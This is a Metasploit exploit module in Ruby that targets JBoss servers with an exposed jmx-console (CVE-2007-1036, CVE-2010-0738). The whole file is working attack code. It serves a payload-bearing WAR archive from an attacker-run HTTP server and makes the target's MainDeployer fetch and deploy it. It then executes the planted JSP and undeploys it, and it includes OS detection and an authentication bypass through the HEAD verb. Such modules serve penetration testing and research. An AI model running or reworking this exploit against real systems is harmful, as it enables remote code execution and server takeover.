##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss JMX Console Deployer Upload and Execute',
        'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have
          an exposed "jmx-console" application. The payload is put on the server by
          using the jboss.system:MainDeployer functionality. To accomplish this, a
          temporary HTTP server is created to serve a WAR archive containing our
          payload. This method will only work if the target server allows outbound
          connections to us.
        },
        'Author' => [ 'jduck', 'Patrick Hof', 'h0ng10'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-1036' ],
          [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], # For CVE-2010-0738
        ],
        'DisclosureDate' => '2007-02-20',
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [
            'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          #
          # Platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [
            'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]),
        OptString.new('HttpPassword', [ false, 'The password for the specified username' ]),
        OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
        OptAddress.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
        OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
      ]
    )
  end

  def auto_target
    if datastore['VERB'] == 'HEAD'
      print_status("Sorry, automatic target detection doesn't work with HEAD requests")
    else
      print_status('Attempting to automatically select a target...')
      res = query_serverinfo
      if !(plat = detect_platform(res))
        fail_with(Failure::NoTarget, 'Unable to detect platform!')
      end

      if !(arch = detect_architecture(res))
        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
      end

      # see if we have a match
      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
    end

    # no matching target found, use Java as fallback
    java_targets = targets.select { |t| t.name =~ /^Java/ }
    return java_targets[0]
  end

  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15))
    app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15))

    mytarget = target
    if (target.name =~ /Automatic/)
      mytarget = auto_target
      if (!mytarget)
        fail_with(Failure::NoTarget, 'Unable to automatically select a target')
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)).nil?)

    # Generate the WAR containing the payload
    @war_data = p.encoded_war({
      app_name: app_base,
      jsp_name: jsp_name,
      arch: mytarget.arch,
      platform: mytarget.platform
    })

    #
    # UPLOAD
    #
    resource_uri = '/' + app_base + '.war'
    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}#{resource_uri}...")
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => resource_uri
      }
    })

    if (datastore['WARHOST'])
      service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    end

    print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
    if (datastore['VERB'] == 'POST')
      res = send_request_cgi({
        'method' => datastore['VERB'],
        'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
        'vars_post' =>
            {
              'action' => 'invokeOpByName',
              'name' => 'jboss.system:service=MainDeployer',
              'methodName' => 'deploy',
              'argType' => 'java.lang.String',
              'arg0' => service_url
            }
      }, 30)
    else
      res = send_request_cgi({
        'method' => datastore['VERB'],
        'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
        'vars_get' =>
            {
              'action' => 'invokeOpByName',
              'name' => 'jboss.system:service=MainDeployer',
              'methodName' => 'deploy',
              'argType' => 'java.lang.String',
              'arg0' => service_url
            }
      }, 30)
    end
    if (!res)
      fail_with(Failure::Unknown, 'Unable to deploy WAR archive [No Response]')
    end
    if (res.code < 200 or res.code >= 300)
      case res.code
      when 401
        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
    end

    # wait for the data to be sent
    print_status('Waiting for the server to request the WAR archive....')
    waited = 0
    until (@war_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > 30)
        fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
      end
    end

    print_status('Shutting down the web service...')
    cleanup_service

    #
    # EXECUTE
    #
    print_status("Executing #{app_base}...")

    # The payload doesn't like POST requests
    # As the war file is not stored inside the jmx-console, we don't have to
    # care about the selected http method
    tmp_verb = datastore['VERB']
    tmp_verb = 'GET' if tmp_verb == 'POST'

    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 3 seconds inbetween tries
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    num_attempts = 5
    num_attempts.times do |attempt|
      res = send_request_cgi({
        'uri' => uri,
        'method' => tmp_verb
      }, 30)

      msg = nil
      if (!res)
        msg = "Execution failed on #{app_base} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
      elsif (res.code == 200)
        print_good("Successfully triggered payload at '#{uri}'")
        break
      end

      if (attempt < num_attempts - 1)
        msg << ', retrying in 3 seconds...'
        print_error(msg)

        select(nil, nil, nil, 3)
      else
        print_error(msg)
      end
    end

    #
    # DELETE
    #
    # XXX: Does undeploy have an invokeByName?
    #
    print_status("Undeploying #{app_base} ...")
    res = send_request_cgi({
      'method' => datastore['VERB'],
      'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
      'vars_post' =>
        {
          'action' => 'invokeOpByName',
          'name' => 'jboss.system:service=MainDeployer',
          'methodName' => 'methodName=undeploy',
          'argType' => 'java.lang.String',
          'arg0' => app_base
        }
    }, 30)
    if (!res)
      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
    elsif (res.code == 500 and datastore['VERB'] == 'POST')
      # POST requests result in a http 500 error, but the payload is removed..."
      print_warning('WARNING: Undeployment might have failed (unlikely)')
    elsif (res.code < 200 or res.code >= 300)
      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
    end

    handler
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@war_data)
      print_error("A request came in, but the WAR archive wasn't ready yet!")
      return
    end

    print_status('Sending the WAR archive to the server...')
    send_response(cli, @war_data)
    @war_sent = true
  end

  def query_serverinfo
    path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
    res = send_request_raw(
      {
        'uri' => path
      }, 20
    )

    if (res) && (res.code == 401)
      fail_with(Failure::NoAccess, 'Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.')
    end

    if (!res) or (res.code != 200)
      fail_with(Failure::Unknown, "Failed: Error requesting #{path}")
    end

    res
  end

  def autofilter
    true
  end

  # Try to autodetect the target platform
  def detect_platform(res)
    if (res.body =~ %r{<td.*?OSName.*?(Linux|FreeBSD|Windows).*?</td>}m)
      os = ::Regexp.last_match(1)
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end

  # Try to autodetect the target architecture
  def detect_architecture(res)
    if (res.body =~ %r{<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?</td>}m)
      case arch
      when 'x86', 'i386', 'i686'
        return ARCH_X86
      when 'x86_64', 'amd64'
        return ARCH_X64
      end
    end
    nil
  end
end
